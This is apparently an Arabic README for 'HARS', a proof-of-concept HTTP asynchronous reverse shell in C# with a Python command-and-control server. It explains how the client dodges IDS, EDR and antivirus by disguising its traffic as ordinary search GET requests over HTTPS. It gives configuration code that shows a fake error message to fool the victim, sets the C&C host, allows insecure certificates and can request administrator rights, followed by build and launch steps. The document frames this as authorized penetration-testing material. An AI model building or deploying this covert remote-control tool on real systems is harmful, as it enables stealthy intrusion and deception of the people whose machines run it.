[POC] صدفة عكسية غير متزامنة باستخدام بروتوكول HTTP.

في عصر تهيمن فيه أنظمة الكشف المتقدمة مثل IDS و IPS و EDR و AV وجدران الحماية على الشبكات المؤسسية، فإن التهرب منها أثناء تقييمات الأمن الهجومية يمثل تحديًا. تعتمد معظم قذائف الاتصال العكسي (reverse shells) على أنفاق TCP (الطبقة 4)، والتي يتم تحليلها والإبلاغ عنها بشكل روتيني الآن.
يقدم هذا المشروع حلًا مبتكرًا: شل عكسية غير متزامنة تمامًا عبر HTTP/S تندمج مع حركة المرور العادية على الويب من خلال محاكاة سلوك المستخدم الشرعي.
على عكس قذائف الاتصال العكسي التقليدية، فهي تستخدم طلبات GET فقط، وتظهر كـ استفسارات ويب عادية، ويمكن تشغيلها اختياريًا عبر HTTPS مع شهادة شرعية مزيفة، مما يقلل من فرص الاكتشاف.
يقوم العميل باستعلام الخادم حتى يحصل على تعليمات.
يقدم المهاجم تعليمات للخادم.
عندما يتم تعريف أمر، ينفذه العميل ويعيد النتيجة.
وهكذا، حتى يقرر المهاجم إنهاء الجلسة.
هذه الأداة مخصصة فقط لتكون أداة عرض توضيحي لإثبات المفهوم لاختبارات أمنية مرخصة. تأكد من مراجعة القوانين المحلية قبل تشغيل هذه الأداة.
حاليًا، كإثبات للمفهوم، تم تنفيذ الوظائف التالية:
HARS.sln في Visual Studio.Config.cs ليتوافق مع بيئتك: class Config
{
/* Behavior */
// Display a fake error msg at startup
public static bool DisplayErrorMsg = true;
// Title of fake error msg
public static string ErrorMsgTitle = "This application could not be started.";
// Description of fake error msg
public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid.";
// Min delay between the client calls
public static int MinDelay = 2;
// Max delay between the client calls
public static int MaxDelay = 5;
// Fake uri requested - Warning : it must begin with "search" (or need a change on server side)
public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid=";
/* Listener */
// Hostname/IP of C&C server
public static string Server = "https://127.0.0.1";
// Listening port of C&C server
public static string Port = "443";
// Allow self-signed or "unsecure" certificates - Warning : often needed in corporate environment using proxy
public static bool AllowInsecureCertificate = true;
}
اختياري: حرّر HARS.manifest لضبط مستوى الصلاحيات.
يمكن ضبط
requestedExecutionLevelعلىasInvokerأوhighestAvailableأوrequireAdministrator.
خصائص المشروع
هنا يمكنك تخصيص معلومات التجميع وأيقونة للملف.
ملاحظة: إصدار إطار العمل .NET الهدف مضبوط على 4.6 وهو متوفر افتراضيًا في Windows 10.
بالنسبة لـ Windows 7، اختر .NET 3.5 إذا كنت لا تريد تثبيت الميزات المفقودة.
قم ببناء المشروع من Visual Studio.
يجب إنشاء العميل في مجلد Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release.
تم!
HARS_Server.py في HARS_Server/www/ لتخصيص المنفذ أو مسار الشهادة.PORT = 443
CERT_FILE = '../server.pem'
python HARS_Server.py
Http Asynchronous Reverse Shell\HARS_Server\logs\Http Asynchronous Reverse Shell\HARS_Server\templates@onSec-fr